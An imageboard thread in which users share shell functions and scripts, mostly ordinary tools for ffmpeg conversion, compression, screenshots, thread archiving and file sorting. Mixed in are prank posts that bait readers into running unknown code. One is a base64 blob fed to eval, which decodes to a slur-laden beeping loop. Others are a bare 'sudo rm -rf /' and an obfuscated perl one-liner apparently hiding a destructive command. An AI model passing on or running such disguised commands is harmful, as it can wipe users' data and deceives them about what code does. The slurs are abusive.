[ / / / / / / / / / / / / / ] [ dir / b2 / choroy / dempart / fascist / freeb / randamu / vichan / y2k ]

/tech/ - Technology

Winner of the 83rd Attention-Hungry Games
/strek/ - Remove Hasperat

May 2019 - 8chan Transparency Report
Email
Comment *
File
Password (Randomized for file and post deletion; you may also set your own.)
* = required field[▶ Show post options & limits]
Confused? See the FAQ.
Flag
Oekaki
Show oekaki applet
(replaces files and can be used instead)
Options

Allowed file types:jpg, jpeg, gif, png, webm, mp4, pdf
Max filesize is 16 MB.
Max image dimensions are 15000 x 15000.
You may upload 3 per post.


File: fd42ed2ac444ec9⋯.jpg (1.66 MB, 2460x1573, 2460:1573, fd42ed2ac444ec95645e3277e3….jpg)

 No.1003160

Post your shell commands or ideas for shell commands. I'm compiling a list. Here's what I got so far:

https://gitgud.io/chiru.no/useful-bash-stuff

gimpresize(){ input="$1"; res="$2"; output="$3"; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"\")))(drawable (car (gimp-image-get-active-layer image))))(gimp-image-scale-full image $res INTERPOLATION-LOHALO)(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}
# gimpresize input.png 1920\ 1080 output.png

imagemagickresize(){ input="$1"; res="$2"; output="$3"; convert $input -colorspace RGB +sigmoidal-contrast 12.09375 -filter Lanczossharp -distort resize $res -sigmoidal-contrast 12.09375 -colorspace sRGB $output;}
# imagemagickresize input.png 1920x1080 output.png

vidtogif(){ input="$1"; res="$2"; colors="$3"; output="$4"; ffmpeg -i $input -vf palettegen /tmp/palette.png && ffmpeg -i $input -i /tmp/palette.png -lavfi paletteuse $output && gifsicle -b -O3 --resize-width $res --colors $colors -i $output;}
# vidtogif input.webm 640 200 output.gif

vidtowebm(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -vcodec libvpx-vp9 -b:v 0 -crf $videoquality -c:a libopus -b:a $audioquality -g 500 -threads 8 $output;}
# vidtowebm input.mp4 40 192K output.webm

vidtomp4(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -c:v libx264 -crf $videoquality -profile high -level 5.1 -preset veryslow -pix_fmt yuv420p -c:a aac -b:a $audioquality $output;}
# vidtomp4 input.mkv 20 192K output.mp4

7zipmax(){ archive="$1"; directory="$2"; 7z a -t7z -mx9 -m0=lzma -mfb=273 -md=1024m -ms=on -mqs=on -myx=9 -mmc=200 -mlc=8 $archive $directory;}
# 7zipmax archive.7z directory/

tarmax(){ archive="$1"; directory="$2"; XZ_OPT="--lzma1=preset=9e,dict=1024MB,nice=273,depth=200,lc=4" tar --lzma -cf $archive $directory;}
# tarmax archive.tar.lzma directory/

screenshot(){ scrot -e "meh \$f || sxiv \$f || feh \$f || nomacs \$f && read -erp Upload\? -n1 yn && [ \\\$yn == y ] && curl -F upload=@\$f https://chiru.no";}
# screenshot

waifu2xmax(){ input="$1"; output="$2"; quality=$(identify -verbose $input | grep -oP "(?<=Quality: ).*"); noiselevel=3; [ $quality -gt 95 ] && noiselevel=2; [ $quality -gt 98 ] && noiselevel=1; parameters="-m noise_scale --noise_level $noiselevel --scale_ratio"; [ -z $quality ] && parameters="-m scale --scale_ratio"; iteration=2; while waifu2x-converter-cpp -i $input --force-OpenCL $parameters $iteration -o $output; do ((iteration++)); done;}
# waifu2xmax input.png output.png

mouseaccelerationdisable() { for i in {0..99}; do xinput set-prop $i "libinput Accel Profile Enabled" 0 1; done &> /dev/null;}
# mouseaccelerationdisable

 No.1003201

Here are my scripts. Made for POSIX sh with rare exceptions like find -print0.

https://repo.or.cz/q3cpma-shell-scripts.git


 No.1003206

why'd you have them as functions instead of aliases in a .bashrc?


 No.1003209

!#/bin/sh

javac /home/random/javafile.class

java javafile

Now that’s how you compile a Java file, mommas dearest


 No.1003236

>>1003206

Try to do an alias that does


myfunc()
{
echo foo "$@" bar
}


 No.1003252

>>1003160

Nice! Thanks :)


 No.1003272

>>1003236

ok but in that example it doesn't seem any less convenient than just running the regular command anyway


 No.1003337


#!/bin/bash
eval $(echo "Tk9URV9CMD0zMTsgTk9URV9DMT0zMzsgTk9URV9DUzE9MzU7IE5PVEVfRDE9Mzc7IE5PVEVfRFMxPTM5OyBOT1RFX0UxPTQxOyBOT1RFX0YxPTQ0OyBOT1RFX0ZTMT00NjsgTk9URV9HMT00OTsgTk9URV9HUzE9NTI7IE5PVEVfQTE9NTU7IE5PVEVfQVMxPTU4OyBOT1RFX0IxPTYyOyBOT1RFX0MyPTY1OyBOT1RFX0NTMj02OTsgTk9URV9EMj03MzsgTk9URV9EUzI9Nzg7IE5PVEVfRTI9ODI7IE5PVEVfRjI9ODc7IE5PVEVfRlMyPTkzOyBOT1RFX0cyPTk4OyBOT1RFX0dTMj0xMDQ7IE5PVEVfQTI9MTEwOyBOT1RFX0FTMj0xMTc7IE5PVEVfQjI9MTIzOyBOT1RFX0MzPTEzMTsgTk9URV9DUzM9MTM5OyBOT1RFX0QzPTE0NzsgTk9URV9EUzM9MTU2OyBOT1RFX0UzPTE2NTsgTk9URV9GMz0xNzU7IE5PVEVfRlMzPTE4NTsgTk9URV9HMz0xOTY7IE5PVEVfR1MzPTIwODsgTk9URV9BMz0yMjA7IE5PVEVfQVMzPTIzMzsgTk9URV9CMz0yNDc7IE5PVEVfQzQ9MjYyOyBOT1RFX0NTND0yNzc7IE5PVEVfRDQ9Mjk0OyBOT1RFX0RTND0zMTE7IE5PVEVfRTQ9MzMwOyBOT1RFX0Y0PTM0OTsgTk9URV9GUzQ9MzcwOyBOT1RFX0c0PTM5MjsgTk9URV9HUzQ9NDE1OyBOT1RFX0E0PTQ0MDsgTk9URV9BUzQ9NDY2OyBOT1RFX0I0PTQ5NDsgTk9URV9DNT01MjM7IE5PVEVfQ1M1PTU1NDsgTk9URV9ENT01ODc7IE5PVEVfRFM1PTYyMjsgTk9URV9FNT02NTk7IE5PVEVfRjU9Njk4OyBOT1RFX0ZTNT03NDA7IE5PVEVfRzU9Nzg0OyBOT1RFX0dTNT04MzE7IE5PVEVfQTU9ODgwOyBOT1RFX0FTNT05MzI7IE5PVEVfQjU9OTg4OyBOT1RFX0M2PTEwNDc7IE5PVEVfQ1M2PTExMDk7IE5PVEVfRDY9MTE3NTsgTk9URV9EUzY9MTI0NTsgTk9URV9FNj0xMzE5OyBOT1RFX0Y2PTEzOTc7IE5PVEVfRlM2PTE0ODA7IE5PVEVfRzY9MTU2ODsgTk9URV9HUzY9MTY2MTsgTk9URV9BNj0xNzYwOyBOT1RFX0FTNj0xODY1OyBOT1RFX0I2PTE5NzY7IE5PVEVfQzc9MjA5MzsgTk9URV9DUzc9MjIxNzsgTk9URV9ENz0yMzQ5OyBOT1RFX0RTNz0yNDg5OyBOT1RFX0U3PTI2Mzc7IE5PVEVfRjc9Mjc5NDsgTk9URV9GUzc9Mjk2MDsgTk9URV9HNz0zMTM2OyBOT1RFX0dTNz0zMzIyOyBOT1RFX0E3PTM1MjA7IE5PVEVfQVM3PTM3Mjk7IE5PVEVfQjc9Mzk1MTsgTk9URV9DOD00MTg2OyBOT1RFX0NTOD00NDM1OyBOT1RFX0Q4PTQ2OTk7IE5PVEVfRFM4PTQ5Nzg7IAp1bmRlcndvcmxkPSggJE5PVEVfQzQgJE5PVEVfQzUgJE5PVEVfQTMgJE5PVEVfQTQgJE5PVEVfQVMzICROT1RFX0FTNCAwIDAgJE5PVEVfQzQgJE5PVEVfQzUgJE5PVEVfQTMgJE5PVEVfQTQgJE5PVEVfQVMzICROT1RFX0FTNCAwIDAgJE5PVEVfRjMgJE5PVEVfRjQgJE5PVEVfRDMgJE5PVEVfRDQgJE5PVEVfRFMzICROT1RFX0RTNCAwIDAgJE5PVEVfRjMgJE5PVEVfRjQgJE5PVEVfRDMgJE5PVEVfRDQgJE5PVEVfRFMzICROT1RFX0RTNCAwIDAgJE5PVEVfRFM0ICROT1RFX0NTNCAkTk9URV9ENCAkTk9URV9DUzQgJE5PVEVfRFM0ICROT1RFX0RTNCAkTk9URV9HUzMgJE5PVEVfRzMgJE5PVEVfQ1M0ICROT1RFX0M0ICROT1RFX0ZTNCAkTk9URV9GNCAkTk9URV9FMyAkTk9URV9BUzQgJE5PVEVfQTQgJE5PVEVfR1M0ICROT1RFX0RTNCAkTk9URV9CMyAkTk9URV9BUzMgJE5PVEVfQTMgJE5PVEVfR1MzIDAgMCAwICk7CnVuZGVyd29ybGRfdGVtcG89KCAxMiAxMiAxMiAxMiAxMiAxMiA2IDMgMTIgMTIgMTIgMTIgMTIgMTIgNiAzIDEyIDEyIDEyIDEyIDEyIDEyIDYgMyAxMiAxMiAxMiAxMiAxMiAxMiA2IDYgMTggMTggMTggNiA2IDYgNiA2IDYgMTggMTggMTggMTggMTggMTggMTAgMTAgMTAgMTAgMTAgMTAgMyAzIDMgKTsKdW5kZXJ3b3JsZF9tZXNzYWdlPSggIk8iICJQICIgImlzICIgImEgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiTyIgIlAgIiAiaXMgIiAiYSAiICJmYWdnb3QiICIuXG4iICIiICIiICJBICIgImJpZyAiICJmdWNraW5nICIgImZhZ2dvdCIgIi5cbiIgIiIgIiIgIiIgIkEgIiAiYmlnICIgImZ1Y2tpbmcgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiIiAiTyIgIlAiICIgaSIgInMgIiAiYSAiICJmIiAiYSIgImciICJnIiAibyIgInQuXG4iICJPIiAiUCIgIiBpIiAicyAiICJhICIgImYiICJhIiAiZyIgImciICJvdC5cbiIgKTsKX2FsYXJtKCkgeyAgICAgeyAgICAgICAoIFxzcGVha2VyLXRlc3QgLS1mcmVxdWVuY3kgJDEgLS10ZXN0IHNpbmUgKSYgICAgICAgcGlkPSQhOyAgICAgICBzbGVlcCAwLiR7Mn1zOyAgICAgICBkaXNvd24gJHBpZDsgICAgICAga2lsbCAtOSAkcGlkOyAgICAgfSAmPiAvZGV2L251bGw7IH07IHdoaWxlIHRydWU7IGRvICAgICBmb3IoKGk9MDtpPCR7I3VuZGVyd29ybGRbQF19O2krKykpOyAgICAgZG8gICAgICAgICBpZiBbICR7dW5kZXJ3b3JsZFskaV19IC1uZSAwIF07ICAgICAgICAgdGhlbiAgICAgICAgICAgICBwcmludGYgIiViIiAiJHt1bmRlcndvcmxkX21lc3NhZ2VbJGldfSI7ICAgICAgICAgICAgIF9hbGFybSAke3VuZGVyd29ybGRbJGldfSAke3VuZGVyd29ybGRfdGVtcG9bJGldfTsgICAgICAgICBlbHNlICAgICAgICAgICAgIHNsZWVwIDAuJHt1bmRlcndvcmxkX3RlbXBvWyRpXX07ICAgICAgICAgZmk7ICAgICAgICAgIHNsZWVwIDAuMCR7dW5kZXJ3b3JsZF90ZW1wb1skaV19OyAgICAgZG9uZSBkb25lIAo=" | base64 -d)

yep that's a one liner


 No.1003340

sudo rm -rf /


 No.1003389

>>1003340

>using rm -rf /

>not using

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'


 No.1003406

>>1003340

why would you want to unironically triforce?


 No.1003438

function _copy () { cat > /tmp/paste; }
function _paste () { cat /tmp/paste; }
function calc() { awk "BEGIN{print $@}"; }

# show man page for word under/right before cursor
# upon exiting man, the line is in the state you left it in
function man_on_word {
TMP_LN=$READLINE_LINE
TMP_POS=$READLINE_POINT
# if in between words, move position to the first one
while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" = " " ]; do
true $((--TMP_POS))
done
while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" != " " ]
do true $((--TMP_POS))
done
if [ 0 -ne $TMP_POS ]; then true $((++TMP_POS));fi
TMP_WORD="${READLINE_LINE:$TMP_POS}"
TMP_WORD="${TMP_WORD%% *}"
man "$TMP_WORD"
}
bind -x '"\C-k":man_on_word'
bind -m vi-command -x '"K":man_on_word' # for set -o vi


# ~/bin/ffconv:
#!/bin/bash
# use like: find /foo/bar -name "*.webm" -print0 | xargs -P<Ncores> -0 -I{} ffconv -e mp3 -o /the/output/dir "{}" -q:a 7
# the arguments after "{}" are passed directly to ffmpeg
# has to be separate file, because of xargs
function runff() {
echo @@@@@@@@@@@@@@@@@@@@@@@@@@
echo -- ffmpeg "$@"
echo @@@@@@@@@@@@@@@@@@@@@@@@@@
ffmpeg -hide_banner "$@"
}

tag=0
ext=mp3
dir='.'

while [ $# -gt 0 ]; do case "$1" in
(-e) ext="$2"; shift 2;;
(-o) dir="$2"; shift 2;;
(-t) tag=1; shift 1;;
(*) break;;
esac;done
if [ $# -lt 1 ]; then
echo "usage ${0##*/} [-e <ext>] [-o <out_dir>] [-t] <file> [<ffmpeg_arg1> [<ffmpeg_arg2>, ..] ]"
exit 1
fi
file=$1
shift

if [ "$tag" = 1 ]; then
t=$(grep -o -P '$(\d+)' <<< "$file")
id3v2 -T "$t" "$file"
fi

runff -i "$file" "$@" "$dir/${file%.*}.$ext"


 No.1003448

>>1003337

Rate my WebM script:

#!/usr/bin/env sh

trap finish 1 2 14 15

finish ()
{
command rm -f -- "${PASSLOG}-0.log"
unset encode error finish help \
INPUT LOSSLESS NAME OPTARG OUTPUT OVERWRITE PASSLOG QUALITY THREADS TMP0 TMP1
exit $1
}

help ()
{
command cat << EOF
USAGE: $NAME [OPTION]... INPUT [OUTPUT]
Encode a video with VP9 codec using FFmpeg.

OPTIONS:
-h : display this help and exit
-q : set the encoding quality
between 0 and 63, 0 is lossless, default is 30
-t : set the number of threads to use
-f : do not prompt before overwriting
EOF
finish
}

error ()
{
printf "%s: %s -- '%s'\n" "$NAME" "$1" "$OPTARG" >&2
finish 1
}

encode ()
{
printf 'Pass #%d...\n' $1
case "$1" in
1) TMP0='-y'
TMP1='/dev/null'
;;
2) TMP0="$OVERWRITE"
TMP1="$OUTPUT"
;;
esac
command ffmpeg -v error -stats $TMP0 \
-i "$INPUT" -map 0:v:0 -map_chapters -1 -map_metadata -1 \
-sws_flags lanczos+accurate_rnd+full_chroma_int+bitexact \
-c:v libvpx-vp9 -b:v 0 -auto-alt-ref 1 -lag-in-frames 25 \
-tile-columns 0 -frame-parallel 0 -aq-mode none -row-mt 1 \
-cpu-used 0 -deadline best \
-threads $THREADS -crf $QUALITY -lossless $LOSSLESS \
-pass $1 -passlogfile "$PASSLOG" -f ivf -bitexact -- "$TMP1"
return $?
}

NAME="`basename -- "$0"`"
THREADS=`grep -c ^processor /proc/cpuinfo`
QUALITY=30
LOSSLESS=0

while getopts hfq:t: TMP0; do
case "$TMP0" in
h) help ;;
f) OVERWRITE='-y' ;;
q) case "$OPTARG" in
0) QUALITY=0
LOSSLESS=1
;;
[1-9]|[1-5][0-9]|6[0-3])
QUALITY=$OPTARG
;;
*) error 'incorrect encoding quality' ;;
esac
;;
t) case "$OPTARG" in
[1-9]|[1-9][0-9])
if [ $OPTARG -gt $THREADS ]; then
error 'not enough CPU cores'
else
THREADS=$OPTARG
fi
;;
*) error 'incorrect number of threads' ;;
esac
;;
esac
done
shift $((OPTIND-1))
unset TMP0 OPTARG

if [ -z "$1" ]; then
help
else
INPUT="$1"
fi
if [ -z "$2" ]; then
OUTPUT="${INPUT%.*}.ivf"
else
OUTPUT="$2"
fi
PASSLOG="`basename -- "$OUTPUT"`"
PASSLOG="${XDG_CACHE_HOME:-/tmp}/${PASSLOG%.*}"

encode 1 && encode 2

finish $?


 No.1003506

File: cb7d3429aa0e290⋯.gif (Spoiler Image, 289.78 KB, 180x132, 15:11, 1531263452227-b.gif)

@ECHO OFF

rem quick delete fetish porn folder

del c:\USERS\anon\progra~1\text\library\fap

del c:\panic.bat

shutdown -r


 No.1003601

I hacked this together about a year ago, and it somehow works


#!/bin/bash

mp3dir=""

containsElement () {
local e match="$1"
shift
for e; do [[ "$e" == "$match" ]] && return 0; done
return 1
}

mydir="$(pwd)"
for userdir in "$@"
do
echo "$userdir"
musicdir=""
if [[ "$userdir" = /* ]]; then
musicdir="$userdir"
else
musicdir="${mydir}/${userdir}"
fi

unset songs
declare -a songs
if [[ -d "${musicdir}" ]]; then
while read -r -d $'\0'; do
songs+=("$REPLY")
done < <(find "${musicdir}" -iname "*.flac" -printf "%P\0")
elif [[ -f "${musicdir}" ]]; then
songs[0]="$(basename "${musicdir}")"
musicdir="$(dirname "${musicdir}")"
echo "${songs[0]}"
fi

declare mp3folder
if [[ ${#songs[@]} -eq 0 ]]; then
echo "no flacs found, skipping folder..."
continue
elif [[ ${#songs[@]} -eq 1 ]]; then
mp3folder="$mp3dir"
song=$(basename "${songs[0]}")
songoutput="${song/%.flac/.opus}"
/usr/bin/ffmpeg -i "${musicdir}/${songs[0]}" -acodec libopus -b:a 128K -vbr on -compression_level 10 "${mp3folder}/${songoutput}"
ln -s "${mp3folder}/${songoutput}" "/var/www/music/"
elif [[ ${#songs[@]} -gt 1 ]]; then
foldername="$(basename "$musicdir")"
disks=()
for song in "${songs[@]}"; do
diskname="$(dirname "${song}")"
if [[ "$diskname" == "." ]]; then
continue
fi
containsElement "$diskname" "${disks[@]}"
if [[ $? -ne 0 ]]; then
disks+=("$diskname")
fi
done

mkdir "${mp3dir}/${foldername}"
for disk in "${disks[@]}"; do
mkdir "${mp3dir}/${foldername}/${disk}"
done

parallel --jobs=-1 -q /usr/bin/ffmpeg -i "${musicdir}/{}" -acodec libopus -b:a 128K -vbr on -compression_level 10 "${mp3dir}/${foldername}/{.}.opus" ::: "${songs[@]}"
pushd "$mp3dir"
zip -r "${foldername}.zip" "${foldername}"
popd
ln -s "${mp3dir}/${foldername}.zip" "/var/www/music/"
fi
done


 No.1004211

>>1003337

Surprisingly benign, was expecting 'rm -rf ~ 2> /dev/null &'


 No.1004267

I haven't posted here in awhile but here's a improved version of my external viewer script for w3m. depends on guile, mupdf, mpv, & wget. I keep meaning to write a downloader in guile as a replacement for wget but haven't gotten around to it yet. regardless it's quite robust and gets the job done.


#!/usr/local/bin/guile -s
!#
(use-modules (ice-9 regex)) ; for match-string and regexp-substitute

(define (run-temporary url . proc)
; passes each file in a directory as a operand to a function.
(define (file-do proc path)
(define dir (opendir path))
(do ((entry (readdir dir) (readdir dir)))
((eof-object? entry))
(if (not (or (equal? entry ".") (equal? entry "..")))
(proc entry)))
(closedir dir))
; deletes all temporary files, the temporary directory, and then exits.
(define (safe-close path)
(file-do delete-file path)
(rmdir path)
(exit))
; creates a temporary directory in a race condition free manner.
(define (mkdtemp path)
(catch 'system-error
(lambda () (mkdir path))
(lambda return
(let ((errno (system-error-errno return)))
(if (= errno EEXIST) (mkdtemp (tmpnam))))))
path)
(define path (mkdtemp (tmpnam)))
; SIGHUP, SIGINT, & SIGQUIT are not needed due to being daemonized.
(sigaction SIGTERM (lambda (x) (safe-close path)) 0)
(chdir path)
; ftp is NOT PORTABLE replace with module gnutls and networking stack?
; or otherwise just replace with wget.
(system* "wget" url)
(file-do (lambda (x) (apply system* (append proc (list x)))) path)
(safe-close path))

(define (daemonize)
; double fork to prevent zombies on system-v derivatives.
(if (not (= (primitive-fork) 0)) (primitive-_exit 0) (setsid))
(if (not (= (primitive-fork) 0)) (primitive-_exit 0))
; close old stdin, stdout, & stderr
(close-fdes 0)
(close-fdes 1)
(close-fdes 2)
; redirect stdin, stdout, & stderr to /dev/null. dup->fdes isn't strictly
; necessary here because open automatically uses the lowest fde and we just
; closed the lowest three, but it makes things a bit more clear, and it's a
; good habit to have in case of threading.
(dup->fdes (open "/dev/null" O_RDONLY) 0)
(dup->fdes (open "/dev/null" O_WRONLY) 1)
(dup->fdes (open "/dev/null" O_WRONLY) 2))

(daemonize)
(let ((still ".png|.jpg|.jpeg|.bmp|.pdf|.epub")
(loops ".gif|.webm")
(gallery "imgur.com/gallery/")
(album "imgur.com/a/")
(imgur "imgur")
(url (cadr (command-line))))

(cond ((string-match still url) (run-temporary url "mupdf"))
((string-match loops url) (run-temporary url "mpv" "--loop=inf"))
((string-match gallery url) (run-temporary
(regexp-substitute #f (string-match "gallery" url) 'pre "a" 'post "/zip") "mupdf"))
((string-match album url) (run-temporary (string-append url "/zip") "mupdf"))
((string-match imgur url) (run-temporary (string-append url ".jpg") "mupdf"))
(else (system* "mpv" "--ytdl-format=webm+bestaudio/720p/720p60" "--slang=en" url))))

And here's the script I use for screenshots, depends on ffmpeg and guile. once again robust and gets the job done, bar having to change screen size for different platforms.


#!/usr/local/bin/guile -s
!#
(define (screen-file return)
(define (screen-file-iter number)
(define file-name (string-append (passwd:dir (getpwuid (getuid))) "/screen" (number->string number) ".png"))
(catch 'system-error
(lambda () (open file-name (logior O_CREAT O_EXCL)))
(lambda response
(if (= (system-error-errno response) EEXIST)
(screen-file-iter (+ number 1))
(begin (display response) (exit)))))
(return file-name))
(screen-file-iter 1))

(system* "ffmpeg" "-loglevel" "-8" "-f" "x11grab" "-video_size" "1366x768" "-i" ":0" "-vframes" "1" "-y" (call/cc screen-file))

I'm also considering rewriting my podcatcher shell script to use guile's XML parser and adding support for youtube channel RSS feeds so I can subscribe to a couple gardening channels I watch instead of manually visiting the RSS page every few weeks. I'll post it here when it's done if there is interest.


 No.1004284

requesting a good wget/curl script to dl files from threads


 No.1004299

>>1004284

That really isn't a hard thing to do.

I think i have one somewhere but basically all you need to do is

>curl thread link

>regex the file link which is typically media.8ch.net/file_store/[sha256][ext]

>wrap it all in a for loop and wget from that


 No.1004300

>>1004284

Not exclusively for files, but I use this to archive the whole thread:

wget -bEHkprl 'inf' -So 'wget.log' \
--accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${B}/(res/${T}\.html|threads\.json)|main\.js)|(${B}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \
--warc-cdx --warc-file="8ch.${B}.${T}" -nH -P "8ch.${B}.${T}" -- "https://8ch.net/${B}/res/${T}.html"

Where ${B} is the board directory (e.g. "tech") and ${T} is the thread number (e.g. "1003160").

And my wgetrc looks like this:

check_certificate   = off
ignore_length = on
inet4_only = on
restrict_file_names = nocontrol
retry_connrefused = on
robots = off
timestamping = on
tries = inf
trust_server_names = on
user_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36


 No.1004305

>>1004299

>>1004300

Thanks, Anon.


 No.1004309

>>1004305

If you wanted a robust way to do this in the future which works across imageboards you could pretty easily use the common API used by all imageboards to get the json data then parse and download from there.


 No.1004573

This is a script I've used for quite a while to organize the files in my download directory by their mime type.


#!/bin/bash

die () {
echo -e "\033[0;31m$*\033[m" >&2
exit 1
}

DIR=${1:-.}

if [ ! -d "$DIR" ]; then
die "Not a valid dir you dumbutt!"
fi

for file in "$DIR"/* ; do
if [ -f "$file" ]; then
mime=$(file -ib "$file" | cut -f1 -d ';')
if [ ! -d "$DIR/$mime" ]; then
mkdir -p "$DIR/$mime" || die "Couldn't make the directory $mime. Check if it already exists!"
fi
mv "$file" "$DIR/$mime" || die "Moving the file $file to directory $mime failed!"
elif [ -d "$file" ]; then
echo "Skipping a directory $file"
fi
done


 No.1004584

>>1004573


die () {
echo -e "\033[0;31m$*\033[m" >&2
exit 1
}

Don't do that, use tput(1). If you redirect stderr to a file, it'll be stupid.


if [ ! -d "$DIR" ]; then
die "Not a valid dir you dumbutt!"
fi

Should use


[ ! -d "$DIR" ] && die message

for short stuff like this


-mime=$(file -ib "$file" | cut -f1 -d ';')
+mime=$(file -b --mime-type -- "$file")

Don't forget to use -- to avoid shit with filenames starting with a dash. At your current level, I suggest you use shellcheck.


 No.1004590

>>1003236

>Try to do an alias that does

>myfunc()

>{

> echo foo "$@" bar

>}

Yeah, I do it all the time, why? not POSIX?

>>1003337

decodes to:


NOTE_B0=31; NOTE_C1=33; NOTE_CS1=35; NOTE_D1=37; NOTE_DS1=39; NOTE_E1=41; NOTE_F1=44; NOTE_FS1=46; NOTE_G1=49; NOTE_GS1=52; NOTE_A1=55; NOTE_AS1=58; NOTE_B1=62; NOTE_C2=65; NOTE_CS2=69; NOTE_D2=73; NOTE_DS2=78; NOTE_E2=82; NOTE_F2=87; NOTE_FS2=93; NOTE_G2=98; NOTE_GS2=104; NOTE_A2=110; NOTE_AS2=117; NOTE_B2=123; NOTE_C3=131; NOTE_CS3=139; NOTE_D3=147; NOTE_DS3=156; NOTE_E3=165; NOTE_F3=175; NOTE_FS3=185; NOTE_G3=196; NOTE_GS3=208; NOTE_A3=220; NOTE_AS3=233; NOTE_B3=247; NOTE_C4=262; NOTE_CS4=277; NOTE_D4=294; NOTE_DS4=311; NOTE_E4=330; NOTE_F4=349; NOTE_FS4=370; NOTE_G4=392; NOTE_GS4=415; NOTE_A4=440; NOTE_AS4=466; NOTE_B4=494; NOTE_C5=523; NOTE_CS5=554; NOTE_D5=587; NOTE_DS5=622; NOTE_E5=659; NOTE_F5=698; NOTE_FS5=740; NOTE_G5=784; NOTE_GS5=831; NOTE_A5=880; NOTE_AS5=932; NOTE_B5=988; NOTE_C6=1047; NOTE_CS6=1109; NOTE_D6=1175; NOTE_DS6=1245; NOTE_E6=1319; NOTE_F6=1397; NOTE_FS6=1480; NOTE_G6=1568; NOTE_GS6=1661; NOTE_A6=1760; NOTE_AS6=1865; NOTE_B6=1976; NOTE_C7=2093; NOTE_CS7=2217; NOTE_D7=2349; NOTE_DS7=2489; NOTE_E7=2637; NOTE_F7=2794; NOTE_FS7=2960; NOTE_G7=3136; NOTE_GS7=3322; NOTE_A7=3520; NOTE_AS7=3729; NOTE_B7=3951; NOTE_C8=4186; NOTE_CS8=4435; NOTE_D8=4699; NOTE_DS8=4978;
underworld=( $NOTE_C4 $NOTE_C5 $NOTE_A3 $NOTE_A4 $NOTE_AS3 $NOTE_AS4 0 0 $NOTE_C4 $NOTE_C5 $NOTE_A3 $NOTE_A4 $NOTE_AS3 $NOTE_AS4 0 0 $NOTE_F3 $NOTE_F4 $NOTE_D3 $NOTE_D4 $NOTE_DS3 $NOTE_DS4 0 0 $NOTE_F3 $NOTE_F4 $NOTE_D3 $NOTE_D4 $NOTE_DS3 $NOTE_DS4 0 0 $NOTE_DS4 $NOTE_CS4 $NOTE_D4 $NOTE_CS4 $NOTE_DS4 $NOTE_DS4 $NOTE_GS3 $NOTE_G3 $NOTE_CS4 $NOTE_C4 $NOTE_FS4 $NOTE_F4 $NOTE_E3 $NOTE_AS4 $NOTE_A4 $NOTE_GS4 $NOTE_DS4 $NOTE_B3 $NOTE_AS3 $NOTE_A3 $NOTE_GS3 0 0 0 );
underworld_tempo=( 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 6 18 18 18 6 6 6 6 6 6 18 18 18 18 18 18 10 10 10 10 10 10 3 3 3 );
underworld_message=( "O" "P " "is " "a " "faggot" ".\n" "" "" "O" "P " "is " "a " "faggot" ".\n" "" "" "A " "big " "fucking " "faggot" ".\n" "" "" "" "A " "big " "fucking " "faggot" ".\n" "" "" "" "O" "P" " i" "s " "a " "f" "a" "g" "g" "o" "t.\n" "O" "P" " i" "s " "a " "f" "a" "g" "g" "ot.\n" );
_alarm() { { ( \speaker-test --frequency $1 --test sine )& pid=$!; sleep 0.${2}s; disown $pid; kill -9 $pid; } &> /dev/null; }; while true; do for((i=0;i<${#underworld[@]};i++)); do if [ ${underworld[$i]} -ne 0 ]; then printf "%b" "${underworld_message[$i]}"; _alarm ${underworld[$i]} ${underworld_tempo[$i]}; else sleep 0.${underworld_tempo[$i]}; fi; sleep 0.0${underworld_tempo[$i]}; done done

A simple repeating countdown timer to beep every $1 seconds:

alias beepe='function _beepe(){ watch -pbn $1 return 1; }; _beepe'
put it in .bashrc or equivalent
Usage:
beepe 120

will beep every 2 minutes, since "return 1" causes the watch command to see a non-zero exit precisely (-p) every $1 seconds (-n $1) and perform the beep (-b)

Adjust to run in background, kill running jobs, etc as required.


 No.1004601

>>1004590

Show me such an alias.


 No.1004612

>>1004601

>Show me such an alias.

>>1004590


 No.1004693

>>1004601


alias foofunc='function _foofunc(){ echo foo "$@" bar; }; _foofunc'

$foofunc such an alias
foo such an alias bar


 No.1004708

>>1003337

not sure why you don't base64 the audio through aplay instead of speaker-test, or even use the -w option with speaker-test to play a wav file from stdin.


 No.1004805

>>1004612

>>1004693

What's the point of an ALIAS in this case? You're not aliasing a name to anything, you're just recreating a function everytime for no reason. God, you're retarded.


 No.1004867

>>1004300

Using that .wgetrc reports an incompatibility with the timestamping setting: "WARC output does not work with timestamping, timestamping will be disabled."

I put it verbatim (including the .wgetrc settings) into a script


#!/usr/bin/env bash
#save as thread-archive and chmod u+x thread-archive
wget -bEHkprl 'inf' -So 'wget.log' \
--accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${1}/(res/${2}\.html|threads\.json)|main\.js)|(${1}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \
--warc-cdx --warc-file="8ch.${1}.${2}" -nH -P "8ch.${1}.${2}" \
-e 'check_certificate = off' \
-e 'ignore_length = on' \
-e 'inet4_only = on' \
-e 'restrict_file_names = nocontrol' \
-e 'retry_connrefused = on' \
-e 'robots = off' \
-e 'timestamping = on' \
-e 'tries = inf' \
-e 'trust_server_names = on' \
-e 'user_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36' \
-- "https://8ch.net/${1}/res/${2}.html"

Add checks to suit. I did the above basics to test it. Works great btw. Thanks anon.


 No.1004869

>>1004805

> God, you're retarded.

>I don't understand why you did it, so you're retarded.

OK.

